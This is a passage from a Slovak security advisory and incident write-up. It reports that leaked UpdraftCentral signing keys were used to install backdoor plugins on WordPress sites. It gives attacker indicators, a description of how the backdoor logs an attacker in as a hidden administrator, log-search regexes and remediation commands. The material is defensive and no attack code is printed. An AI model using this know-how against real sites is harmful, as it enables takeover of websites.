Do\u010dasn\u00e9 rie\u0161enie<\/strong><\/td>\n| zru\u0161i\u0165 spojenie s UpdraftCentral, web skontrolova\u0165 na\u0161\u00edm skriptom, zmeni\u0165 heslo k \u00fa\u010dtu teamupdraft.com a volite\u013ene zablokova\u0165 pr\u00edkazy UpdraftCentral mal\u00fdm mu-pluginom (postup ni\u017e\u0161ie). UpdraftPlus netreba odin\u0161talova\u0165, z\u00e1lohovanie funguje \u010falej.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n V noci na 19. okt\u00f3bra 2026 poslal \u00fato\u010dn\u00edk z IP adresy 43.250.53.42<\/code> cez slu\u017ebu UpdraftCentral pr\u00edkaz plugin.upload_plugin<\/code> na tri na\u0161e WordPress weby. UpdraftCentral je slu\u017eba na vzdialen\u00fa spr\u00e1vu webov od TeamUpdraft a jej klient je zabudovan\u00fd v ka\u017edej k\u00f3pii pluginu UpdraftPlus. Na dvoch z na\u0161ich webov pr\u00edkaz pre\u0161iel a WordPress nain\u0161taloval a aktivoval nezn\u00e1my plugin. Na tre\u0165om zlyhal na opr\u00e1vneniach.<\/p>\nChyba nebola na na\u0161ej strane. V\u0161etky tri weby mali aktu\u00e1lny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opraven\u00fd proti j\u00fanovej zranite\u013enosti CVE-2026-10795. \u00dato\u010dn\u00edk sa do na\u0161ich serverov nenab\u00faral a nevyu\u017eil \u017eiadnu chybu v na\u0161ej konfigur\u00e1cii. Pri\u0161iel kan\u00e1lom vzdialenej spr\u00e1vy UpdraftCentral a pr\u00edkazy podp\u00edsal platn\u00fdmi s\u00fakromn\u00fdmi k\u013e\u00fa\u010dmi dashboardu. Tie generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud a na na\u0161ich serveroch nikdy neboli. Kto ich m\u00e1, m\u00f4\u017ee na ka\u017edom pripojenom webe bez vedomia majite\u013ea nain\u0161talova\u0165 a spusti\u0165 \u013eubovo\u013en\u00fd k\u00f3d. Preto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n Kto je ohrozen\u00fd:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm aj pr\u00e9miov\u00fdm, ktor\u00fd je pripojen\u00fd k UpdraftCentral, teda m\u00e1 vytvoren\u00fd k\u013e\u00fa\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z viac ako 4 mili\u00f3nov in\u0161tal\u00e1ci\u00ed UpdraftPlus. Weby, ktor\u00e9 k UpdraftCentral pripojen\u00e9 nie s\u00fa, tento \u00fatok neohrozuje, lebo pr\u00edkazy UpdraftCentral bez k\u013e\u00fa\u010da neprij\u00edmaj\u00fa. Na\u0161e weby boli pripojen\u00e9 k UpdraftCentral Cloud, teda k dashboardu, ktor\u00fd prev\u00e1dzkuje TeamUpdraft. Pod\u013ea v\u00fdrobcu sa \u00fanik net\u00fdka dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri. Unikli v\u0161ak aj k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone, ktor\u00e9 v\u00fdrobca medzit\u00fdm vymenil. K\u013e\u00fa\u010d pritom mohol vznikn\u00fa\u0165 aj bez vedomia spr\u00e1vcu: bezplatn\u00e1 aj pr\u00e9miov\u00e1 verzia pri prihl\u00e1sen\u00ed k \u00fa\u010dtu teamupdraft.com na karte Premium \/ Extensions pon\u00faka pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c, ktor\u00e9 je predvolene za\u0161krtnut\u00e9, k\u00fdm web nem\u00e1 \u017eiadny k\u013e\u00fa\u010d (overili sme v k\u00f3de verzi\u00ed 2.26.11 a 1.26.13). Samotnou in\u0161tal\u00e1ciou pluginu k\u013e\u00fa\u010d nevznikne, len prihl\u00e1sen\u00edm k \u00fa\u010dtu teamupdraft.com v plugine. T\u00fdka sa to preto najm\u00e4 pr\u00e9miov\u00fdch webov, kde sa spr\u00e1vca prihlasuje kv\u00f4li licencii a aktualiz\u00e1ci\u00e1m, a bezplatn\u00fdch webov, ktor\u00e9 sa k \u00fa\u010dtu niekedy prihl\u00e1sili.<\/p>\nNejde o zranite\u013enos\u0165 CVE-2026-10795, o ktorej v j\u00fani p\u00edsal Wordfence: t\u00fa mali na\u0161e weby opraven\u00fa a pokusy o jej zneu\u017eitie na nich zlyh\u00e1vali.<\/p>\n Plugin je backdoor. Na tajn\u00fd odkaz mal vytvori\u0165 \u00fa\u010det so zamaskovan\u00fdmi pr\u00e1vami administr\u00e1tora a \u00fato\u010dn\u00edka do neho rovno prihl\u00e1si\u0165. Autor v\u0161ak v k\u00f3de urobil chybu, tak\u017ee na na\u0161ich weboch backdoor nikdy nefungoval. Namiesto toho zhodil ka\u017ed\u00fa po\u017eiadavku na web, ktor\u00e1 ne\u0161la z cache, a WordPress n\u00e1m o tom poslal e-mail. V\u010faka tomu sme ho na\u0161li do nieko\u013ek\u00fdch min\u00fat a\u017e hod\u00edn. In\u00ed spr\u00e1vcovia v\u0161ak u\u017e na\u0161li aj funk\u010dn\u00e9 varianty, ktor\u00e9 popisujeme ni\u017e\u0161ie.<\/p>\n TeamUpdraft sme incident nahl\u00e1sili 19. okt\u00f3bra a po\u017eiadali sme ich o vysvetlenie, ako sa k\u013e\u00fa\u010de dostali k \u00fato\u010dn\u00edkovi.<\/p>\n Ak m\u00e1te web pripojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1lne kompromitovan\u00fd, k\u00fdm ho neover\u00edte.<\/strong> Spojenie okam\u017eite zru\u0161te a web skontrolujte pod\u013ea postupu ni\u017e\u0161ie. K 19. okt\u00f3bru 2026 sme o tomto backdoore ani o podobnom \u00fatoku po j\u00fanovej oprave nena\u0161li \u017eiadnu verejn\u00fa zmienku.<\/p>\n\u010co urobi\u0165 hne\u010f<\/h2>\n1. Zru\u0161te spojenie s UpdraftCentral<\/h3>\nAktualizujte UpdraftPlus na verziu 1.26.13 (bezplatn\u00e1) alebo 2.26.13 (pr\u00e9miov\u00e1) \u010di nov\u0161iu. T\u00e1 sama zma\u017ee k\u013e\u00fa\u010de UpdraftCentral Cloud vytvoren\u00e9 pred 18. 10. 2026 14:07 SEL\u010c. Verzia 1.26.12 \/ 2.26.12 k\u013e\u00fa\u010de nezma\u017ee. Potom aj tak skontrolujte, \u010di na webe nezostal \u017eiadny k\u013e\u00fa\u010d:<\/p>\n V administr\u00e1cii WordPressu otvorte Nastavenia \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Kliknite na \u201eManage existing keys (N)\u2026\u201c a pri ka\u017edom k\u013e\u00fa\u010di na \u201eDelete\u2026\u201c. Ak tam \u017eiadny k\u013e\u00fa\u010d nie je, web pripojen\u00fd nie je.<\/p>\n S pr\u00edstupom na pr\u00edkazov\u00fd riadok to ist\u00e9 urob\u00ed tento pr\u00edkaz v kore\u0148ovom prie\u010dinku WordPressu:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nPotom web odstr\u00e1\u0148te aj v dashboarde UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 pri webe \u2192 Remove site). Samotn\u00e9 odstr\u00e1nenie z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 s\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu, tak\u017ee rozhoduje zmazanie k\u013e\u00fa\u010da na webe.<\/p>\n V\u00fdrobca uv\u00e1dza, \u017ee po zmazan\u00ed k\u013e\u00fa\u010da, kontrole webu a zmene hesiel administr\u00e1torov m\u00f4\u017eete web znova pripoji\u0165. Predt\u00fdm si zme\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadajte do prehliada\u010da ru\u010dne, nie cez odkaz z e-mailu), rovnak\u00e9 heslo zme\u0148te v\u0161ade, kde ste ho pou\u017eili, a znova nastavte dvojfaktorov\u00e9 overenie. Ak m\u00e1te nasaden\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, pred nov\u00fdm pripojen\u00edm ho odstr\u00e1\u0148te. Kto pou\u017e\u00edva UpdraftVault, mus\u00ed web k nemu znova pripoji\u0165 s nov\u00fdmi \u00fadajmi.<\/p>\n Ak na webe m\u00e1te aj k\u013e\u00fa\u010de UpdraftPlus Migrator (karta \u201eMigrate \/ Clone\u201c) a pr\u00e1ve nemigrujete, zma\u017ete aj tie, napr\u00edklad pr\u00edkazom wp option delete updraft_migrator_localkeys<\/code>. Pou\u017e\u00edvaj\u00fa ten ist\u00fd kan\u00e1l a dovo\u013euj\u00fa in\u00e9mu webu posiela\u0165 na v\u00e1\u0161 web s\u00fabory z\u00e1loh. Ich zneu\u017eitie sme zatia\u013e nevideli.<\/p>\nPr\u00e9miov\u00fd UpdraftPlus si heslo k \u00fa\u010dtu teamupdraft.com uklad\u00e1 do datab\u00e1zy tak, ako ho zad\u00e1te (vo\u013eba updraftplus-addons_options<\/code>), a zma\u017ee ho a\u017e po \u00faspe\u0161nom overen\u00ed tokenom. M\u00f4\u017ee preto zosta\u0165 v datab\u00e1ze aj v jej z\u00e1loh\u00e1ch. V praxi tam \u010dasto zostane natrvalo. Jeden \u010ditate\u013e ho na\u0161iel na v\u0161etk\u00fdch troch weboch s pr\u00e9miovou verziou a v z\u00e1loh\u00e1ch u\u017e od roku 2022 a overil si, \u017ee sa ulo\u017e\u00ed pri oby\u010dajnom pripojen\u00ed k \u00fa\u010dtu na karte Premium \/ Extensions. My sme ho na\u0161li na jednom z troch webov. V\u00fdrobca uv\u00e1dza, \u017ee heslo sa po prvom pripojen\u00ed zma\u017ee, k\u00f3d ho v\u0161ak ma\u017ee a\u017e po \u00faspe\u0161nom n\u00e1rokovan\u00ed doplnkov cez token. Odstr\u00e1ni\u0165 ho m\u00f4\u017eete pr\u00edkazom ni\u017e\u0161ie, aktualiz\u00e1cie pluginu ho nepotrebuj\u00fa. Potom heslo k \u00fa\u010dtu zme\u0148te. Ak sa budete v plugine k \u00fa\u010dtu znova prihlasova\u0165, od\u0161krtnite pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c. V doteraz analyzovan\u00fdch vzork\u00e1ch z tejto kampane sme k\u00f3d, ktor\u00fd by toto heslo \u010d\u00edtal, nena\u0161li, pre\u010d\u00edta\u0165 ho v\u0161ak m\u00f4\u017ee ka\u017ed\u00fd funk\u010dn\u00fd backdoor alebo nahrat\u00fd plugin.<\/p>\nwp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'<\/code><\/pre>\n2. Overte, \u010di na webe nie je backdoor<\/h3>\nBez pr\u00edkazov\u00e9ho riadka:<\/p>\n \n- Na tej istej obrazovke UpdraftCentral kliknite na \u201eView recent UpdraftCentral log events\u2026\u201c. H\u013eadajte riadky \u201eCommand received: plugin.upload_plugin\u201c, \u201eCommand received: plugin.delete_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c. Ak je web za proxy, napr\u00edklad Cloudflare, log ukazuje IP adresu proxy, nie \u00fato\u010dn\u00edka. Riadky \u201eSignature verification failed; discarding\u201c znamenaj\u00fa, \u017ee \u00fato\u010dn\u00edk to sk\u00fa\u0161al, ale jeho k\u013e\u00fa\u010d k webu nesedel a web pr\u00edkaz zahodil.<\/li>\n
- V zozname pluginov h\u013eadajte plugin, ktor\u00fd ste nein\u0161talovali. Prv\u00fd variant m\u00e1 popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a n\u00e1zov z dvoch slov, v\u00e4\u010d\u0161inou s tromi znakmi navy\u0161e, napr\u00edklad \u201eLoad Stack 35C\u201c alebo \u201eQuery Shelf\u201c. \u010eal\u0161ie varianty maj\u00fa zaka\u017ed\u00fdm in\u00fd n\u00e1zov aj popis, napr\u00edklad \u201eBoost Kit\u201c, \u201eCache Smith\u201c alebo \u201eSite Health 364F\u201c. Niektor\u00e9 varianty sa v\u0161ak zo zoznamu pluginov skr\u00fdvaj\u00fa, tak\u017ee poh\u013ead do\u0148 nesta\u010d\u00ed.<\/li>\n
- V zozname pou\u017e\u00edvate\u013eov h\u013eadajte \u00fa\u010det s menom \u201eSite Tools\u201c alebo s e-mailom na
@example.org<\/code> \u010di @example.com<\/code>. Funk\u010dn\u00fd variant vytv\u00e1ra administr\u00e1tora, ktor\u00e9ho sa sna\u017e\u00ed skry\u0165, ale v zozname sa zobraz\u00ed norm\u00e1lne.<\/li>\n- Ak backdoor \u00fato\u010dn\u00edka prihl\u00e1si ako existuj\u00faceho administr\u00e1tora, \u017eiadny \u00fa\u010det nevytvor\u00ed. Vtedy ho prezrad\u00ed len plugin a access log, preto web skontrolujte aj skriptom a pozrite access log.<\/li>\n<\/ul>\n
Ak je na webe prv\u00fd variant backdooru, administr\u00e1cia nemus\u00ed fungova\u0165, lebo plugin zhadzuje ka\u017ed\u00fa po\u017eiadavku. Vtedy pou\u017eite pr\u00edkazov\u00fd riadok.<\/p>\n S pr\u00edkazov\u00fdm riadkom ulo\u017ete n\u00e1\u0161 kontroln\u00fd skript z konca \u010dl\u00e1nku ako check-updraftcentral.php<\/code> do kore\u0148ov\u00e9ho prie\u010dinka WordPressu a spustite:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nSkript ni\u010d nemen\u00ed, iba \u010d\u00edta. Prep\u00edna\u010d --skip-plugins<\/code> je d\u00f4le\u017eit\u00fd, lebo nain\u0161talovan\u00fd backdoor inak zhod\u00ed aj WP-CLI. Riadky [ALERT]<\/code> znamenaj\u00fa stopy \u00fatoku, [WARN]<\/code> vec na kontrolu a [OK]<\/code> \u010dist\u00fd v\u00fdsledok. Z\u00e1znam o prijatom pr\u00edkaze e\u0161te neznamen\u00e1, \u017ee sa plugin nain\u0161taloval (na jednom z na\u0161ich webov nepre\u0161iel), preto skript kontroluje aj s\u00fabory, vo\u013eby v datab\u00e1ze a \u00fa\u010dty. Ak n\u00e1jde \u010doko\u013evek s [ALERT]<\/code>, pokra\u010dujte \u010das\u0165ou \u201e\u010co robi\u0165, ak ho n\u00e1jdete\u201c.<\/p>\nUpdraftPlus si v logu UpdraftCentral pam\u00e4t\u00e1 iba posledn\u00fdch 50 udalost\u00ed. Na webe, kam \u010dasto chodia skenery, m\u00f4\u017ee z\u00e1znam o \u00fatoku z logu vypadn\u00fa\u0165 a skript potom pri logu hl\u00e1si [OK]<\/code>. Ak m\u00e1te pr\u00edstup k logom webov\u00e9ho servera, preh\u013eadajte aj ich (cestu upravte pod\u013ea servera, pri nginx napr\u00edklad \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nPr\u00edkaz n\u00e1jde po\u017eiadavky UpdraftCentral bez verzie kni\u017enice v hlavi\u010dke User-Agent, ak\u00e9 posielal \u00fato\u010dn\u00edk. Skuto\u010dn\u00fd dashboard posiela class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho pr\u00edkaz nezachyt\u00ed.<\/p>\nFunk\u010dn\u00fd variant backdooru nemus\u00ed v datab\u00e1ze zanecha\u0165 nijak\u00fa stopu: bez parametra m<\/code> prihl\u00e1si \u00fato\u010dn\u00edka ako existuj\u00faceho administr\u00e1tora. V access logu preto h\u013eadajte aj po\u017eiadavky na sp\u00fa\u0161\u0165a\u010de oboch variantov:<\/p>\nzgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' \/var\/log\/apache2\/*access*<\/code><\/pre>\nKa\u017ed\u00fd n\u00e1jden\u00fd riadok preverte. Stav 302 znamen\u00e1 presmerovanie do administr\u00e1cie, teda pravdepodobne \u00faspe\u0161n\u00e9 prihl\u00e1senie \u00fato\u010dn\u00edka. Stav 500 znamen\u00e1, \u017ee na webe je e\u0161te pokazen\u00fd variant. Stav 200 s be\u017enou ve\u013ekos\u0165ou str\u00e1nky znamen\u00e1, \u017ee backdoor na webe u\u017e nie je. Pr\u00edkaz zgrep<\/code> preh\u013ead\u00e1 aj star\u0161ie komprimovan\u00e9 logy.<\/p>\n3. Volite\u013ene: zablokujte pr\u00edkazy UpdraftCentral \u00faplne<\/h3>\nAk chcete ma\u0165 istotu, \u017ee web nevykon\u00e1 \u017eiadny pr\u00edkaz UpdraftCentral ani vtedy, keby na \u0148om ostal k\u013e\u00fa\u010d, ulo\u017ete do prie\u010dinka wp-content\/mu-plugins\/<\/code> s\u00fabor block-updraftcentral.php<\/code> s t\u00fdmto obsahom:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\nS\u00fabory v mu-plugins<\/code> WordPress na\u010d\u00edta pred be\u017en\u00fdmi pluginmi, tak\u017ee po\u017eiadavka sa zastav\u00ed sk\u00f4r, ne\u017e ju UpdraftPlus spracuje. Blokuje aj migr\u00e1ciu webov cez UpdraftPlus Migrator, ktor\u00e1 pou\u017e\u00edva ten ist\u00fd kan\u00e1l. Ke\u010f v\u00fdrobca probl\u00e9m vysvetl\u00ed a vyrie\u0161i, s\u00fabor zma\u017ete.<\/p>\n\u010eal\u0161ia lacn\u00e1 ochrana: ak PHP nem\u00f4\u017ee zapisova\u0165 do wp-content\/plugins<\/code> (napr\u00edklad in\u00fd vlastn\u00edk prie\u010dinka a pr\u00e1va 750), web podp\u00edsan\u00fd pr\u00edkaz s\u00edce prijme, ale in\u0161tal\u00e1cia pluginu zlyh\u00e1. Na jednom z napadnut\u00fdch webov to \u00fatok zastavilo. Pluginy potom treba aktualizova\u0165 inak, napr\u00edklad cez WP-CLI pod vlastn\u00edkom prie\u010dinka.<\/p>\nAk pou\u017e\u00edvate Wordfence, obnovte pravidl\u00e1 firewallu (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence vydal pravidlo, ktor\u00e9 blokuje pr\u00edkazy UpdraftCentral, aj pre bezplatn\u00fa verziu. Pravidlo v\u0161ak plat\u00ed len pre UpdraftPlus do 1.26.11 a pred 2.26.12, tak\u017ee web aktualizovan\u00fd na 1.26.12 \/ 2.26.12 u\u017e nechr\u00e1ni, hoci tieto verzie k\u013e\u00fa\u010de nezma\u017e\u00fa. Aktualizujte preto rovno na 1.26.13 \/ 2.26.13.<\/p>\n Ako sme na to pri\u0161li<\/h2>\nO 5:38 n\u00e1m pri\u0161iel automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s tak\u00fdm n\u00e1zvom sme nikdy nein\u0161talovali. Chybov\u00e1 spr\u00e1va znela Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracal na ka\u017ed\u00fa po\u017eiadavku chybu 500.<\/p>\nPrie\u010dinok wp-content\/plugins\/load-stack-35c\/<\/code> mal v\u0161etky s\u00fabory s rovnak\u00fdm \u010dasom z\u00e1pisu, 4:14:30. O sekundu nesk\u00f4r sa zmenil prie\u010dinok wp-content\/upgrade\/<\/code>, ktor\u00fd WordPress pou\u017e\u00edva pri rozba\u013eovan\u00ed in\u0161talovan\u00fdch pluginov. Plugin teda pri\u0161iel cez \u0161tandardn\u00fd in\u0161tal\u00e1tor WordPressu, nie cez nahratie s\u00faboru na disk. V access logu presne v tej sekunde stoj\u00ed jedin\u00e1 po\u017eiadavka:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> je kni\u017enica, cez ktor\u00fa UpdraftPlus prij\u00edma pr\u00edkazy z UpdraftCentral. Jej vlastn\u00fd log (vo\u013eba updraftcentral_client_log<\/code> v datab\u00e1ze) to potvrdil: Command received: plugin.upload_plugin<\/code>.<\/p>\n\u010casov\u00e1 os<\/h2>\nWeby ozna\u010dujeme A, B a C. V\u0161etky \u010dasy s\u00fa v SEL\u010c. V\u0161etky po\u017eiadavky pri\u0161li z 43.250.53.42<\/code> (poskytovate\u013e RedSwitches) s hlavi\u010dkou User-Agent WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Web C<\/td>\n | 19. 10. 0:41:32<\/td>\n | 6:05:31<\/td>\n | zlyhala, k\u013e\u00fa\u010d patril pou\u017e\u00edvate\u013eovi bez pr\u00e1va in\u0161talova\u0165 pluginy<\/td>\n<\/tr>\n | \n| Web A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | backdoor \u201eLoad Stack 35C\u201c akt\u00edvny, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n | \n| Web B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | backdoor \u201eText Gantry Eb0\u201c akt\u00edvny, odstr\u00e1nen\u00fd o 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Sonda je spr\u00e1va adresovan\u00e1 neexistuj\u00facemu k\u013e\u00fa\u010du probe.central.updraftplus.com<\/code>. Web na \u0148u odpovie, \u017ee spr\u00e1ve nerozumie, a t\u00fdm prezrad\u00ed, \u017ee prij\u00edma pr\u00edkazy UpdraftCentral. Nasleduj\u00faci pr\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skuto\u010dn\u00fd k\u013e\u00fa\u010d 0.central.updraftplus.com<\/code>. Na v\u0161etk\u00fdch troch weboch prebehol \u00fatok rovnako, od toho ist\u00e9ho \u00fato\u010dn\u00edka, s odstupom nieko\u013ek\u00fdch hod\u00edn.<\/p>\nIn\u00fd spr\u00e1vca n\u00e1m poslal z\u00e1znamy, pod\u013ea ktor\u00fdch t\u00e1 ist\u00e1 IP 43.250.53.42<\/code> sk\u00fa\u0161ala na dvoch z jeho webov u\u017e 23. septembra 2026 in\u00e9 \u00fatoky: dotaz na REST API so zoznamom str\u00e1nok a asi desa\u0165 pokusov o path traversal v parametri pagename<\/code>. \u00dato\u010dn\u00edk teda tieto weby sk\u00famal takmer mesiac pred \u00fatokom cez UpdraftCentral.<\/p>\n\u00dato\u010dn\u00edk sa k webom vracal. 19. okt\u00f3bra poslal \u010fal\u0161ie po\u017eiadavky UpdraftCentral na web A o 10:57:48, na web B o 11:14:19 a na web C o 12:03:14, v\u017edy dve v tej istej sekunde, a na web C e\u0161te jednu o 20:27:50. V\u0161etky u\u017e zastavil n\u00e1\u0161 mu-plugin s odpove\u010fou 403, tak\u017ee nevieme, \u010do obsahovali. In\u00fd spr\u00e1vca n\u00e1m poslal log UpdraftCentral, pod\u013ea ktor\u00e9ho \u00fato\u010dn\u00edk o 12:22:48 poslal plugin.delete_plugin<\/code> a o 12:22:50 nov\u00fd plugin.upload_plugin<\/code>, \u010d\u00edm pokazen\u00fd backdoor nahradil in\u00fdm. Na\u0161e dvojice po\u017eiadaviek pravdepodobne patria k rovnakej v\u00fdmene. UpdraftPlus zap\u00ed\u0161e ka\u017ed\u00fd pr\u00edkaz, ktor\u00fd prejde overen\u00edm podpisu, do logu UpdraftCentral ako \u201eCommand received\u201c e\u0161te pred vykonan\u00edm (overili sme v k\u00f3de verzie 2.26.11). Log v\u0161ak dr\u017e\u00ed len posledn\u00fdch 50 udalost\u00ed a po\u017eiadavky zastaven\u00e9 mu-pluginom v \u0148om nie s\u00fa.<\/p>\nNa webe \u010fal\u0161ieho spr\u00e1vcu poslal \u00fato\u010dn\u00edk sondu 18. 10. o 23:10:30 SEL\u010c a potom nahral tri r\u00f4zne backdoory: o 23:39:52 minim\u00e1lny skryt\u00fd \u201eSite Health Cache\u201c, o 0:34:34 funk\u010dn\u00fd \u201eFast2engine\u201c a 19. 10. o 9:28:47 pokazen\u00fd \u201ePost Dock 776\u201c. Dvojica po\u017eiadaviek o 11:40:45 a 11:40:46 tam skon\u010dila chybou 500, lebo pokazen\u00fd backdoor u\u017e zhadzoval cel\u00fd web. \u00dato\u010dn\u00edk teda neposiela v\u017edy najprv pokazen\u00fd variant a na jeden web ich m\u00f4\u017ee nahra\u0165 viac.<\/p>\n Ako \u00fatok prebehol<\/h2>\nPri pripojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r k\u013e\u00fa\u010dov RSA a verejn\u00fd k\u013e\u00fa\u010d po\u0161le slu\u017ebe UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00fd p\u00e1r k\u013e\u00fa\u010dov a webu po\u0161le iba svoj verejn\u00fd k\u013e\u00fa\u010d. S\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu ost\u00e1va u slu\u017eby. Ka\u017ed\u00fd pr\u00edkaz mus\u00ed by\u0165 za\u0161ifrovan\u00fd pre k\u013e\u00fa\u010d webu a podp\u00edsan\u00fd s\u00fakromn\u00fdm k\u013e\u00fa\u010dom dashboardu. Web ho potom vykon\u00e1 s pr\u00e1vami pou\u017e\u00edvate\u013ea, ktor\u00fd k\u013e\u00fa\u010d vo WordPresse vytvoril.<\/p>\n Pr\u00edkaz plugin.upload_plugin<\/code> pre\u0161iel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vyl\u00fa\u010dili sme tieto vysvetlenia:<\/p>\n\n- Zn\u00e1ma zranite\u013enos\u0165 CVE-2026-10795.<\/strong> T\u00fdka sa verzi\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby mali 2.26.11. Pokusy o jej zneu\u017eitie vid\u00edme na weboch B a C v logoch od j\u00fana z desiatok IP adries a v\u0161etky skon\u010dili hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n
- Upraven\u00fd plugin.<\/strong> S\u00fabory
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> a central\/host.php<\/code> s\u00fa bajt po bajte zhodn\u00e9 s ofici\u00e1lnou verziou 1.26.11 z wordpress.org.<\/li>\n- Star\u0161\u00ed form\u00e1t spr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pre k\u013e\u00fa\u010de UpdraftCentral odmieta a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po tejto kontrole.<\/li>\n
- Podvrhnut\u00fd k\u013e\u00fa\u010d dashboardu.<\/strong> Odtla\u010dky k\u013e\u00fa\u010dov s\u00fa rovnak\u00e9 v denn\u00fdch z\u00e1loh\u00e1ch z 15. a\u017e 18. okt\u00f3bra aj v \u017eivej datab\u00e1ze a v access logoch nikto nevolal funkciu na v\u00fdmenu k\u013e\u00fa\u010da.<\/li>\n
- Slab\u00e1 kryptografia.<\/strong> K\u013e\u00fa\u010d webu aj dashboardu maj\u00fa RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opraven\u00e1 zn\u00e1ma chyba v overovan\u00ed podpisov.<\/li>\n
- Napadnut\u00fd wp-admin.<\/strong> Nezn\u00e1mi administr\u00e1tori nepribudli, kontroln\u00e9 s\u00fa\u010dty jadra aj pluginov sedia a v logoch nie je \u017eiadne nahratie pluginu cez administr\u00e1ciu.<\/li>\n<\/ol>\n
\u00dato\u010dn\u00edk teda mal s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu pre v\u0161etky tri spojenia naraz. Na na\u0161ich serveroch tieto k\u013e\u00fa\u010de nikdy neboli, tak\u017ee odtia\u013e unikn\u00fa\u0165 nemohli. Pr\u00edkazy pritom nepri\u0161li zo servera TeamUpdraft. Skuto\u010dn\u00fd dashboard posielal na web B v marci a apr\u00edli 2026 pr\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n\u00dato\u010dn\u00edk posielal WordPress\/6.4; class-udrpc.php<\/code>, bez verzie kni\u017enice a bez URL, zo svojho servera. K\u013e\u00fa\u010de teda unikli z prostredia UpdraftCentral Cloud a \u00fato\u010dn\u00edk ich pou\u017eil mimo neho.<\/p>\nTeamUpdraft 19. okt\u00f3bra potvrdil, \u017ee cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk pr\u00edstup na teamupdraft.com a pravdepodobne aj k z\u00e1kazn\u00edckej datab\u00e1ze vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral. K\u013e\u00fa\u010de teda unikli z infra\u0161trukt\u00fary v\u00fdrobcu. Zodpoved\u00e1 tomu aj \u010dasov\u00e1 os: k\u013e\u00fa\u010de pre weby B a C existovali od novembra 2025 a \u00fato\u010dn\u00edk ich nepou\u017eil a\u017e do noci z 18. na 19. okt\u00f3bra, teda hne\u010f po \u00faniku. Ako sa \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobca neuviedol.<\/p>\n Na webe C \u00fatok zlyhal pre n\u00e1hodu. K\u013e\u00fa\u010d tam v novembri 2025 vytvoril pou\u017e\u00edvate\u013e, ktor\u00fd u\u017e nie je administr\u00e1tor. UpdraftCentral pred in\u0161tal\u00e1ciou overuje, \u010di m\u00e1 vlastn\u00edk k\u013e\u00fa\u010da pr\u00e1va install_plugins<\/code> a activate_plugins<\/code>. Nemal ani jedno.<\/p>\nPre\u010do ide o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\nKlient UpdraftCentral je s\u00fa\u010das\u0165ou ka\u017edej k\u00f3pie UpdraftPlus, bezplatnej aj pr\u00e9miovej. Zapne sa, ke\u010f majite\u013e pripoj\u00ed web k dashboardu. Odvtedy web vykon\u00e1 